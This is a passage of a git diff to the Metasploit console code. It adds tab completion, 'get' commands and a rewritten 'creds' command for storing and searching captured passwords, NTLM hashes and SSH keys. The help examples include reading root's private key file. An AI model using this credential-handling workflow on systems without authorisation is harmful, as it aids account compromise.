"ACTION" end @@ -2033,6 +2098,19 @@ class Core end end + unless str.blank? + res = res.select { |term| term.upcase.start_with?(str.upcase) } + res = res.map { |term| + if str == str.upcase + str + term[str.length..-1].upcase + elsif str == str.downcase + str + term[str.length..-1].downcase + else + str + term[str.length..-1] + end + } + end + return res end @@ -2067,7 +2145,7 @@ class Core global_opts = %w{all encoders nops exploits payloads auxiliary plugins options} print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}") - module_opts = %w{ advanced evasion targets actions } + module_opts = %w{ missing advanced evasion targets actions } print_status("Additional module-specific parameters are: #{module_opts.join(", ")}") end @@ -2110,6 +2188,12 @@ class Core else show_global_options end + when 'missing' + if (mod) + show_missing(mod) + else + print_error("No module selected.") + end when 'advanced' if (mod) show_advanced_options(mod) @@ -2140,10 +2224,10 @@ class Core print_error("No exploit module selected.") end when "actions" - if (mod and (mod.auxiliary? or mod.post?)) + if mod && mod.kind_of?(Msf::Module::HasActions) show_actions(mod) else - print_error("No auxiliary module selected.") + print_error("No module with actions selected.") end else @@ -2164,7 +2248,7 @@ class Core res = %w{all encoders nops exploits payloads auxiliary post plugins options} if (active_module) - res.concat(%w{ advanced evasion targets actions }) + res.concat(%w{ missing advanced evasion targets actions }) if (active_module.respond_to? :compatible_sessions) res << "sessions" end @@ -2216,6 +2300,81 @@ class Core return tabs end + def cmd_get_help + print_line "Usage: get var1 [var2 ...]" + print_line + print_line "The get command is used to get the value of one or more variables." + print_line + end + + # + # Gets a value if it's been set. + # + def cmd_get(*args) + + # Figure out if these are global variables + global = false + + if (args[0] == '-g') + args.shift + global = true + end + + # No arguments? No cookie. + if args.empty? + global ? cmd_getg_help : cmd_get_help + return false + end + + # Determine which data store we're operating on + if (active_module && !global) + datastore = active_module.datastore + else + datastore = framework.datastore + end + + args.each { |var| print_line("#{var} => #{datastore[var]}") } + end + + # + # Tab completion for the get command + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_get_tabs(str, words) + datastore = active_module ? active_module.datastore : self.framework.datastore + datastore.keys + end + + def cmd_getg_help + print_line "Usage: getg var1 [var2 ...]" + print_line + print_line "Exactly like get -g, get global variables" + print_line + end + + # + # Gets variables in the global data store. + # + def cmd_getg(*args) + args.unshift('-g') + + cmd_get(*args) + end + + # + # Tab completion for the getg command + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_getg_tabs(str, words) + self.framework.datastore.keys + end + def cmd_unset_help print_line "Usage: unset [-g] var1 var2 var3 ..." print_line @@ -2339,9 +2498,15 @@ class Core mod_name = args[0] begin - if ((mod = framework.modules.create(mod_name)) == nil) - print_error("Failed to load module: #{mod_name}") - return false + mod = framework.modules.create(mod_name) + unless mod + # Try one more time; see #4549 + sleep CMD_USE_TIMEOUT + mod = framework.modules.create(mod_name) + unless mod + print_error("Failed to load module: #{mod_name}") + return false + end end rescue Rex::AmbiguousArgumentError => info print_error(info.to_s) @@ -2355,17 +2520,17 @@ class Core dispatcher = nil case mod.type - when MODULE_ENCODER + when Msf::MODULE_ENCODER dispatcher = Msf::Ui::Console::CommandDispatcher::Encoder - when MODULE_EXPLOIT + when Msf::MODULE_EXPLOIT dispatcher = Msf::Ui::Console::CommandDispatcher::Exploit - when MODULE_NOP + when Msf::MODULE_NOP dispatcher = Msf::Ui::Console::CommandDispatcher::Nop - when MODULE_PAYLOAD + when Msf::MODULE_PAYLOAD dispatcher = Msf::Ui::Console::CommandDispatcher::Payload - when MODULE_AUX + when Msf::MODULE_AUX dispatcher = Msf::Ui::Console::CommandDispatcher::Auxiliary - when MODULE_POST + when Msf::MODULE_POST dispatcher = Msf::Ui::Console::CommandDispatcher::Post else print_error("Unsupported module type: #{mod.type}") @@ -2620,7 +2785,7 @@ class Core if mod # if there is an active module, give them the fanciness they have come to expect driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true) else - driver.update_prompt("#{prompt}", prompt_char, true) + driver.update_prompt("#{prompt} ", prompt_char, true) end # dump the command's output so we can grep it @@ -2712,8 +2877,8 @@ class Core return option_values_encoders() if opt.upcase == 'StageEncoder' end - # Well-known option names specific to auxiliaries - if (mod.auxiliary?) + # Well-known option names specific to modules with actions + if mod.kind_of?(Msf::Module::HasActions) return option_values_actions() if opt.upcase == 'ACTION' end @@ -2730,6 +2895,8 @@ class Core # Is this option used by the active module? if (mod.options.include?(opt)) res.concat(option_values_dispatch(mod.options[opt], str, words)) + elsif (mod.options.include?(opt.upcase)) + res.concat(option_values_dispatch(mod.options[opt.upcase], str, words)) end # How about the selected payload? @@ -2737,6 +2904,8 @@ class Core p = framework.payloads.create(mod.datastore['PAYLOAD']) if (p and p.options.include?(opt)) res.concat(option_values_dispatch(p.options[opt], str, words)) + elsif (p and p.options.include?(opt.upcase)) + res.concat(option_values_dispatch(p.options[opt.upcase], str, words)) end end @@ -2751,60 +2920,72 @@ class Core res = [] res << o.default.to_s if o.default - case o.class.to_s - - when 'Msf::OptAddress' - case o.name.upcase - when 'RHOST' - option_values_target_addrs().each do |addr| - res << addr - end - when 'LHOST' - rh = self.active_module.datastore["RHOST"] - if rh and not rh.empty? - res << Rex::Socket.source_address(rh) - else - res << Rex::Socket.source_address() - end - else + case o + when Msf::OptAddress + case o.name.upcase + when 'RHOST' + option_values_target_addrs().each do |addr| + res << addr end - - when 'Msf::OptAddressRange' - - case str - when /\/$/ - res << str+'32' - res << str+'24' - res << str+'16' - when /\-$/ - res << str+str[0, str.length - 1] - else - option_values_target_addrs().each do |addr| - res << addr+'/32' - res << addr+'/24' - res << addr+'/16' - end + when 'LHOST' + rh = self.active_module.datastore["RHOST"] + if rh and not rh.empty? + res << Rex::Socket.source_address(rh) + else + res << Rex::Socket.source_address() end + else + end - when 'Msf::OptPort' - case o.name.upcase - when 'RPORT' - option_values_target_ports().each do |port| - res << port - end + when Msf::OptAddressRange + case str + when /^file:(.*)/ + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files + when /\/$/ + res << str+'32' + res << str+'24' + res << str+'16' + when /\-$/ + res << str+str[0, str.length - 1] + else + option_values_target_addrs().each do |addr| + res << addr+'/32' + res << addr+'/24' + res << addr+'/16' end + end - if (res.empty?) - res << (rand(65534)+1).to_s + when Msf::OptPort + case o.name.upcase + when 'RPORT' + option_values_target_ports().each do |port| + res << port end + end - when 'Msf::OptEnum' - o.enums.each do |val| - res << val - end - when 'Msf::OptPath' - files = tab_complete_filenames(str,words) - res += files if files + if (res.empty?) + res << (rand(65534)+1).to_s + end + + when Msf::OptEnum + o.enums.each do |val| + res << val + end + + when Msf::OptPath + files = tab_complete_filenames(str, words) + res += files if files + + when Msf::OptBool + res << 'true' + res << 'false' + + when Msf::OptString + if (str =~ /^file:(.*)/) + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files + end end return res @@ -2843,7 +3024,7 @@ class Core # - # Provide valid action options for the current auxiliary module + # Provide valid action options for the current module # def option_values_actions res = [] @@ -2963,6 +3144,33 @@ class Core protected + # + # verifies that a given session_id is valid and that the session is interactive. + # The various return values allow the caller to make better decisions on what + # action can & should be taken depending on the capabilities of the session + # and the caller's objective while making it simple to use in the nominal case + # where the caller needs session_id to match an interactive session + # + # @param session_id [String] A session id, which is an integer as a string + # @param quiet [Boolean] True means the method will produce no error messages + # @return [session] if the given session_id is valid and session is interactive + # @return [false] if the given session_id is valid, but not interactive + # @return [nil] if the given session_id is not valid at all + def verify_session(session_id, quiet = false) + session = framework.sessions.get(session_id) + if session + if session.interactive? + session + else + print_error("Session #{session_id} is non-interactive.") unless quiet + false + end + else + print_error("Invalid session identifier: #{session_id}") unless quiet + nil + end + end + # # Go_pro methods -- these are used to start and connect to # Metasploit Community / Pro. @@ -2976,7 +3184,7 @@ class Core print_warning "to start Metasploit Community / Pro." return false end - svc_log = File.expand_path(File.join(msfbase_dir, ".." , "engine", "prosvc_stdout.log")) + svc_log = File.expand_path(File.join(ENV['METASPLOIT_ROOT'], "apps" , "pro", "engine", "prosvc_stdout.log")) unless ::File.readable_real? svc_log print_error "Unable to access log file: #{svc_log}" return false @@ -3011,7 +3219,7 @@ class Core end def start_metasploit_service - cmd = File.expand_path(File.join(msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + cmd = File.expand_path(File.join(ENV['METASPLOIT_ROOT'], 'scripts', 'start.sh')) return unless ::File.executable_real? cmd %x{#{cmd}}.each_line do |line| print_status line.chomp @@ -3037,7 +3245,19 @@ class Core # Determines if this is an apt-based install def is_apt - File.exists?(File.expand_path(File.join(msfbase_dir, '.apt'))) + File.exists?(File.expand_path(File.join(Msf::Config.install_root, '.apt'))) + end + + # Determines if we're a Metasploit Pro/Community/Express + # installation or a tarball/git checkout + # + # @return [Boolean] true if we are a binary install + def binary_install + binary_paths = [ + 'C:/metasploit/apps/pro/msf3', + '/opt/metasploit/apps/pro/msf3' + ] + return binary_paths.include? Msf::Config.install_root end # @@ -3108,10 +3328,39 @@ class Core print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0) end + # Print the selected action + if mod.kind_of?(Msf::Module::HasActions) && mod.action + mod_action = Serializer::ReadableText.dump_module_action(mod, ' ') + print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) + end + # Uncomment this line if u want target like msf2 format #print("\nTarget: #{mod.target.name}\n\n") end + def show_missing(mod) # :nodoc: + mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true) + print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) + + # If it's an exploit and a payload is defined, create it and + # display the payload's options + if (mod.exploit? and mod.datastore['PAYLOAD']) + p = framework.payloads.create(mod.datastore['PAYLOAD']) + + if (!p) + print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n") + return + end + + p.share_datastore(mod.datastore) + + if (p) + p_opt = Serializer::ReadableText.dump_options(p, ' ', true) + print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) + end + end + end + def show_global_options columns = [ 'Option', 'Current Setting', 'Description' ] tbl = Table.new( @@ -3123,7 +3372,7 @@ class Core ) [ [ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ], - [ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 5)' ], + [ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ], [ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ], [ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ], [ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ], @@ -3141,8 +3390,8 @@ class Core end def show_actions(mod) # :nodoc: - mod_actions = Serializer::ReadableText.dump_auxiliary_actions(mod, ' ') - print("\nAuxiliary actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0) + mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ') + print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0) end def show_advanced_options(mod) # :nodoc: @@ -3239,7 +3488,7 @@ class Core end end if (opts == nil or show == true) - tbl << [ refname, o.disclosure_date||"", o.rank_to_s, o.name ] + tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ] end end end @@ -3273,9 +3522,39 @@ class Core start = line_num - before start = 0 if start < 0 finish = line_num + after - return all_lines.slice(start..finish) + all_lines.slice(start..finish) end + + # + # Generate an array of job or session IDs from a given range String. + # Always returns an Array. + # + # @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc + # @return [Array<String>] Representing the range + def build_range_array(id_list) + item_list = [] + unless id_list.blank? + temp_list = id_list.split(',') + temp_list.each do |ele| + return if ele.count('-') > 1 + return if ele.first == '-' || ele[-1] == '-' + return if ele.first == '.' || ele[-1] == '.' + + if ele.include? '-' + temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a + item_list.concat(temp_array) + elsif ele.include? '..' + temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a + item_list.concat(temp_array) + else + item_list.push(ele.to_i) + end + end + end + + item_list.uniq.sort + end + end - end end end end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index f779e4de63..a571a1d566 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -18,6 +18,8 @@ class Db # TODO: Not thrilled about including this entire module for just store_local. include Msf::Auxiliary::Report + include Metasploit::Credential::Creation + # # The dispatcher's name. # @@ -66,6 +68,10 @@ class Db ] end + def allowed_cred_types + %w(password ntlm hash) + end + # # Returns true if the db is connected, prints an error and returns # false if not. @@ -217,7 +223,6 @@ class Db return unless active? ::ActiveRecord::Base.connection_pool.with_connection { onlyup = false - host_search = nil set_rhosts = false mode = :search delete_count = 0 @@ -580,7 +585,6 @@ class Db return end - mode = :search while (arg = args.shift) case arg #when "-a","--add" @@ -648,73 +652,132 @@ class Db end def cmd_creds_help - print_line "Usage: creds [addr range]" - print_line "Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>" print_line - print_line " -a,--add Add creds to the given addresses instead of listing" - print_line " -d,--delete Delete the creds instead of searching" - print_line " -h,--help Show this help information" - print_line " -o <file> Send output to a file in csv format" - print_line " -p,--port <portspec> List creds matching this port spec" - print_line " -s <svc names> List creds matching these service names" - print_line " -t,--type <type> Add a cred of this type (only with -a). Default: password" - print_line " -u,--user Add a cred for this user (only with -a). Default: blank" - print_line " -P,--password Add a cred with this password (only with -a). Default: blank" - print_line " -R,--rhosts Set RHOSTS from the results of the search" - print_line " -S,--search Search string to filter by" - print_line " -c,--columns Columns of interest" + print_line "With no sub-command, list credentials. If an address range is" + print_line "given, show only credentials with logins on hosts within that" + print_line "range." print_line - print_line "Examples:" - print_line " creds # Default, returns all active credentials" - print_line " creds all # Returns all credentials active or not" + print_line "Usage - Listing credentials:" + print_line " creds [filter options] [address range]" + print_line + print_line "Usage - Adding credentials:" + print_line " creds add-ntlm <user> <ntlm hash> [domain]" + print_line " creds add-password <user> <password> [realm] [realm-type]" + print_line " creds add-ssh-key <user> </path/to/id_rsa> [realm-type]" + print_line "Where [realm type] can be one of:" + Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short, description| + print_line " #{short} - #{description}" + end + + print_line + print_line "General options" + print_line " -h,--help Show this help information" + print_line " -o <file> Send output to a file in csv format" + print_line + print_line "Filter options for listing" + print_line " -P,--password <regex> List passwords that match this regex" + print_line " -p,--port <portspec> List creds with logins on services matching this port spec" + print_line " -s <svc names> List creds matching comma-separated service names" + print_line " -u,--user <regex> List users that match this regex" + print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -R,--rhosts Set RHOSTS from the results of the search" + + print_line + print_line "Examples, listing:" + print_line " creds # Default, returns all credentials" print_line " creds 1.2.3.4/24 # nmap host specification" print_line " creds -p 22-25,445 # nmap port specification" - print_line " creds 10.1.*.* -s ssh,smb all" + print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" + print_line " creds -t ntlm # All NTLM creds" + print_line + + print_line + print_line "Examples, adding:" + print_line " # Add a user with an NTLMHash" + print_line " creds add-ntlm alice 5cfe4c82d9ab8c66590f5b47cd6690f1:978a2e2e1dec9804c6b936f254727f9a" + print_line " # Add a user with a blank password and a domain" + print_line " creds add-password bob '' contosso" + print_line " # Add a user with an SSH key" + print_line " creds add-ssh-key root /root/.ssh/id_rsa" print_line end - # - # Can return return active or all, on a certain host or range, on a - # certain port or range, and/or on a service name. - # - def cmd_creds(*args) - return unless active? - ::ActiveRecord::Base.connection_pool.with_connection { - - search_param = nil - inactive_ok = false - type = "password" - - set_rhosts = false - output_file = nil - - host_ranges = [] - port_ranges = [] - rhosts = [] - svcs = [] - delete_count = 0 - search_term = nil - - cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - user = nil - - # Short-circuit help - if args.delete "-h" - cmd_creds_help - return + # @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential` + # @param username [String] + # @param password [String] + # @param realm [String] + # @param realm_type [String] A key in `Metasploit::Model::Realm::Key::SHORT_NAMES` + def creds_add(private_type, username, password=nil, realm=nil, realm_type=nil) + cred_data = { + username: username, + private_data: password, + private_type: private_type, + workspace_id: framework.db.workspace, + origin_type: :import, + filename: "msfconsole" + } + if realm.present? + if realm_type.present? + realm_key = Metasploit::Model::Realm::Key::SHORT_NAMES[realm_type] + if realm_key.nil? + valid = Metasploit::Model::Realm::Key::SHORT_NAMES.keys.map{|n|"'#{n}'"}.join(", ") + print_error("Invalid realm type: #{realm_type}. Valid values: #{valid}") + return + end + end + realm_key ||= Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + cred_data.merge!( + realm_value: realm, + realm_key: realm_key + ) end - mode = :search + begin + create_credential(cred_data) + rescue ActiveRecord::RecordInvalid => e + print_error("Failed to add #{private_type}: #{e}") + end + end + + def creds_add_non_replayable_hash(*args) + creds_add(:non_replayable_hash, *args) + end + + def creds_add_ntlm_hash(*args) + creds_add(:ntlm_hash, *args) + end + + def creds_add_password(*args) + creds_add(:password, *args) + end + + def creds_add_ssh_key(username, *args) + key_file, realm = args + begin + key_data = File.read(key_file) + rescue ::Errno::EACCES, ::Errno::ENOENT => e + print_error("Failed to add ssh key: #{e}") + else + creds_add(:ssh_key, username, key_data, realm) + end + end + + def creds_search(*args) + host_ranges = [] + port_ranges = [] + svcs = [] + rhosts = [] + + set_rhosts = false + + #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] + cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + user = nil + delete_count = 0 + while (arg = args.shift) case arg - when "-a","--add" - mode = :add - when "-d" - mode = :delete - when "-h" - cmd_creds_help - return when '-o' output_file = args.shift if (!output_file) @@ -745,32 +808,16 @@ class Db print_error("Argument required for -P") return end - when "-R" - set_rhosts = true - when '-S', '--search' - search_term = /#{args.shift}/nmi when "-u","--user" user = args.shift if (!user) print_error("Argument required for -u") return end - when '-c','--columns' - columns = args.shift - unless columns - print_error("Argument required for -c, you may use any of #{cred_table_columns.join(',')}") - return - end - cred_table_columns = columns.split(/[\s]*,[\s]*/).select do |col| - cred_table_columns.include?(col) - end - if cred_table_columns.empty? - print_error("Argument -c requires valid columns") - return - end - when "all" - # The user wants inactive passwords, too - inactive_ok = true + when "-d" + mode = :delete + when '-R', '--rhosts' + set_rhosts = true else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -779,32 +826,20 @@ class Db end end - if mode == :add - if port_ranges.length != 1 or port_ranges.first.length != 1 - print_error("Exactly one port required") - return - end - port = port_ranges.first.first - host_ranges.each do |range| - range.each do |host| - cred = framework.db.find_or_create_cred( - :host => host, - :port => port, - :user => (user == "NULL" ? nil : user), - :pass => (pass == "NULL" ? nil : pass), - :type => ptype, - :sname => service, - :active => true - ) - print_status("Time: #{cred.updated_at} Credential: host=#{cred.service.host.address} port=#{cred.service.port} proto=#{cred.service.proto} sname=#{cred.service.name} type=#{cred.ptype} user=#{cred.user} pass=#{cred.pass} active=#{cred.active}") - end - end - return - end - # If we get here, we're searching. Delete implies search - if user - user_regex = Regexp.compile(user) + + if ptype + type = case ptype + when 'password' + Metasploit::Credential::Password + when 'hash' + Metasploit::Credential::PasswordHash + when 'ntlm' + Metasploit::Credential::NTLMHash + else + print_error("Unrecognized credential type #{ptype} -- must be one of #{allowed_cred_types.join(',')}") + return + end end # normalize @@ -815,91 +850,157 @@ class Db 'Columns' => cred_table_columns } - tbl_opts.merge!( - 'ColProps' => { - 'pass' => { 'MaxChar' => 64 }, - 'proof' => { 'MaxChar' => 56 } - } - ) if search_term.nil? tbl = Rex::Ui::Text::Table.new(tbl_opts) - creds_returned = 0 - inactive_count = 0 - # Now do the actual search - framework.db.each_cred(framework.db.workspace) do |cred| - # skip if it's inactive and user didn't ask for all - if !cred.active && !inactive_ok - inactive_count += 1 - next + ::ActiveRecord::Base.connection_pool.with_connection { + query = Metasploit::Credential::Core.where( workspace_id: framework.db.workspace ) + query = query.includes(:private, :public, :logins) + query = query.includes(logins: [ :service, { service: :host } ]) + + if type.present? + query = query.where(metasploit_credential_privates: { type: type }) end - if search_term - next unless cred.attribute_names.any? { |a| cred[a.intern].to_s.match(search_term) } - end - # Also skip if the user is searching for something and this - # one doesn't match - includes = false - host_ranges.map do |rw| - includes = rw.include? cred.service.host.address - break if includes - end - next unless host_ranges.empty? or includes - - # Same for ports - next unless ports.empty? or ports.include? cred.service.port - - # Same for service names - next unless svcs.empty? or svcs.include?(cred.service.name) - - if user_regex - next unless user_regex.match(cred.user) + if svcs.present? + query = query.where(Mdm::Service[:name].in(svcs)) end - row = cred_table_columns.map do |col| - case col - when 'host' - cred.service.host.address - when 'port' - cred.service.port - when 'type' - cred.ptype + if ports.present? + query = query.where(Mdm::Service[:port].in(ports)) + end + + if user.present? + # If we have a user regex, only include those that match + query = query.where('"metasploit_credential_publics"."username" ~* ?', user) + end + + if pass.present? + # If we have a password regex, only include those that match + query = query.where('"metasploit_credential_privates"."data" ~* ?', pass) + end + + if host_ranges.any? || ports.any? || svcs.any? + # Only find Cores that have non-zero Logins if the user specified a + # filter based on host, port, or service name + query = query.where(Metasploit::Credential::Login[:id].not_eq(nil)) + end + + query.find_each do |core| + + # Exclude non-blank username creds if that's what we're after + if user == "" && core.public && !(core.public.username.blank?) + next + end + + # Exclude non-blank password creds if that's what we're after + if pass == "" && core.private && !(core.private.data.blank?) + next + end + + if core.logins.empty? + + tbl << [ + "", # host + "", # port + core.public, + core.private, + core.realm, + core.private ? core.private.class.model_name.human : "", + ] else - cred.send(col.intern) + core.logins.each do |login| + + # If none of this Core's associated Logins is for a host within + # the user-supplied RangeWalker, then we don't have any reason to + # print it out. However, we treat the absence of ranges as meaning + # all hosts. + if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } + next + end + row = [ login.service.host.address ] + rhosts << login.service.host.address + if login.service.name.present? + row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" + else + row << "#{login.service.port}/#{login.service.proto}" + end + + row += [ + core.public, + core.private, + core.realm, + core.private ? core.private.class.model_name.human : "", + ] + tbl << row + end + end + if mode == :delete + core.destroy + delete_count += 1 end end - tbl << row - if mode == :delete - cred.destroy - delete_count += 1 + if output_file.nil? + print_line(tbl.to_s) + else + # create the output file + ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } + print_status("Wrote creds to #{output_file}") end - if set_rhosts - addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address ) - rhosts << addr - end - creds_returned += 1 + + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts + print_status("Deleted #{delete_count} creds") if delete_count > 0 + } + end + + # + # Can return return active or all, on a certain host or range, on a + # certain port or range, and/or on a service name. + # + def cmd_creds(*args) + return unless active? + + # Short-circuit help + if args.delete "-h" + cmd_creds_help + return end - print_line - if output_file.nil? - print_line(tbl.to_s) - if !inactive_ok && inactive_count > 0 - # Then we're not printing the inactive ones. Let the user know - # that there are some they are not seeing and how to get at - # them. - print_line "Also found #{inactive_count} inactive creds (`creds all` to list them)" - print_line - end + subcommand = args.shift + case subcommand + when "add-ntlm" + creds_add_ntlm_hash(*args) + when "add-password" + creds_add_password(*args) + when "add-hash" + creds_add_non_replayable_hash(*args) + when "add-ssh-key" + creds_add_ssh_key(*args) else - # create the output file - ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } - print_status("Wrote services to #{output_file}") + # then it's not actually a subcommand + args.unshift(subcommand) if subcommand + creds_search(*args) end - set_rhosts_from_addrs(rhosts.uniq) if set_rhosts + end - print_status("Deleted #{delete_count} credentials") if delete_count > 0 - } + def cmd_creds_tabs(str, words) + case words.length + when 1 + # subcommands + tabs = [ 'add-ntlm', 'add-password', 'add-hash', 'add-ssh-key', ] + when 2 + tabs = if words[1] == 'add-ssh-key' + tab_complete_filenames(str, words) + else + [] + end + #when 5 + # tabs = Metasploit::Model::Realm::Key::SHORT_NAMES.keys + else + tabs = [] + end + return tabs end def cmd_notes_help @@ -1027,13 +1128,13 @@ class Db end elsif term == "output" orderlist << make_sortable(note.data["output"]) - elsif note.respond_to?(term) + elsif note.respond_to?(term, true) orderlist << make_sortable(note.send(term)) - elsif note.respond_to?(term.to_sym) + elsif note.respond_to?(term.to_sym, true) orderlist << make_sortable(note.send(term.to_sym)) - elsif note.respond_to?("data") && note.send("data").respond_to?(term) + elsif note.respond_to?("data", true) && note.send("data").respond_to?(term, true) orderlist << make_sortable(note.send("data").send(term)) - elsif note.respond_to?("data") && note.send("data").respond_to?(term.to_sym) + elsif note.respond_to?("data", true) && note.send("data").respond_to?(term.to_sym, true) orderlist << make_sortable(note.send("data").send(term.to_sym)) else orderlist << "" @@ -1056,8 +1157,9 @@ class Db end end if (note.service) - name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") - msg << " service=#{name}" + msg << " service=#{note.service.name}" if note.service.name + msg << " port=#{note.service.port}" if note.service.port + msg << " protocol=#{note.service.proto}" if note.service.proto end msg << " type=#{note.ntype} data=#{note.data.inspect}" print_status(msg) @@ -1076,7 +1178,7 @@ class Db end def make_sortable(input) - case input.class + case input when String input = input.downcase when Fixnum @@ -1139,8 +1241,8 @@ class Db info = args.shift if(!info) print_error("Can't make loot with no info") - return - end + return + end when '-t' typelist = args.shift if(!typelist) @@ -1188,8 +1290,8 @@ class Db range.each do |host| file = File.open(filename, "rb") contents = file.read - lootfile = framework.db.find_or_create_loot(:type => type, :host => host,:info => info, :data => contents,:path => filename,:name => name) - print_status("Added loot #{host}") + lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name) + print_status("Added loot for #{host} (#{lootfile})") end end return @@ -1230,7 +1332,7 @@ class Db # Handle hostless loot if host_ranges.compact.empty? # Wasn't a host search - hostless_loot = framework.db.loots.find_all_by_host_id(nil) + hostless_loot = framework.db.loots.where(host_id: nil) hostless_loot.each do |loot| row = [] row.push("") @@ -1304,25 +1406,38 @@ class Db print_line print_line "Filenames can be globs like *.xml, or **/*.xml which will search recursively" print_line "Currently supported file types include:" - print_line " Acunetix XML" + print_line " Acunetix" print_line " Amap Log" print_line " Amap Log -m" - print_line " Appscan XML" + print_line " Appscan" print_line " Burp Session XML" - print_line " Foundstone XML" + print_line " CI" + print_line " Foundstone" + print_line " FusionVM XML" + print_line " IP Address List" print_line " IP360 ASPL" print_line " IP360 XML v3" + print_line " Libpcap Packet Capture" + print_line " Metasploit PWDump Export" + print_line " Metasploit XML" + print_line " Metasploit Zip Export" print_line " Microsoft Baseline Security Analyzer" - print_line " Nessus NBE" - print_line " Nessus XML (v1 and v2)" - print_line " NetSparker XML" print_line " NeXpose Simple XML" print_line " NeXpose XML Report" + print_line " Nessus NBE Report" + print_line " Nessus XML (v1)" + print_line " Nessus XML (v2)" + print_line " NetSparker XML" + print_line " Nikto XML" print_line " Nmap XML" print_line " OpenVAS Report" + print_line " OpenVAS XML" + print_line " Outpost24 XML" print_line " Qualys Asset XML" print_line " Qualys Scan XML" print_line " Retina XML" + print_line " Spiceworks CSV Export" + print_line " Wapiti XML" print_line end @@ -1332,7 +1447,7 @@ class Db def cmd_db_import(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { - if (args.include?("-h") or not (args and args.length > 0)) + if args.include?("-h") || ! (args && args.length > 0) cmd_db_import_help return end @@ -1388,15 +1503,15 @@ class Db print_error("Please note that there were #{warnings} warnings") if warnings > 1 print_error("Please note that there was one warning") if warnings == 1 - rescue DBImportError + rescue Msf::DBImportError print_error("Failed to import #{filename}: #{$!}") elog("Failed to import #{filename}: #{$!.class}: #{$!}") dlog("Call stack: #{$@.join("\n")}", LEV_3) next rescue REXML::ParseException => e print_error("Failed to import #{filename} due to malformed XML:") - print_error("#{$!.class}: #{$!}") - elog("Failed to import #{filename}: #{$!.class}: #{$!}") + print_error("#{e.class}: #{e}") + elog("Failed to import #{filename}: #{e.class}: #{e}") dlog("Call stack: #{$@.join("\n")}", LEV_3) next end @@ -1564,7 +1679,8 @@ class Db # def cmd_db_status(*args) return if not db_check_driver - if ::ActiveRecord::Base.connected? + + if framework.db.connection_established? cdb = "" ::ActiveRecord::Base.connection_pool.with_connection { |conn| if conn.respond_to? :current_database @@ -1606,7 +1722,7 @@ class Db end end meth = "db_connect_#{framework.db.driver}" - if(self.respond_to?(meth)) + if(self.respond_to?(meth, true)) self.send(meth, *args) if framework.db.active and not framework.db.modules_cached print_status("Rebuilding the module cache in the background...") @@ -1697,7 +1813,6 @@ class Db end def db_find_tools(tools) - found = true missed = [] tools.each do |name| if(! Rex::FileUtils.find_full_path(name)) @@ -1789,7 +1904,7 @@ class Db # Miscellaneous option helpers # - # Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+ + # Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+ # # @note This modifies +host_ranges+ in place # diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index add35b4a77..a999874e2a 100644 --- a/lib/msf/ui/console/driver.rb +++ 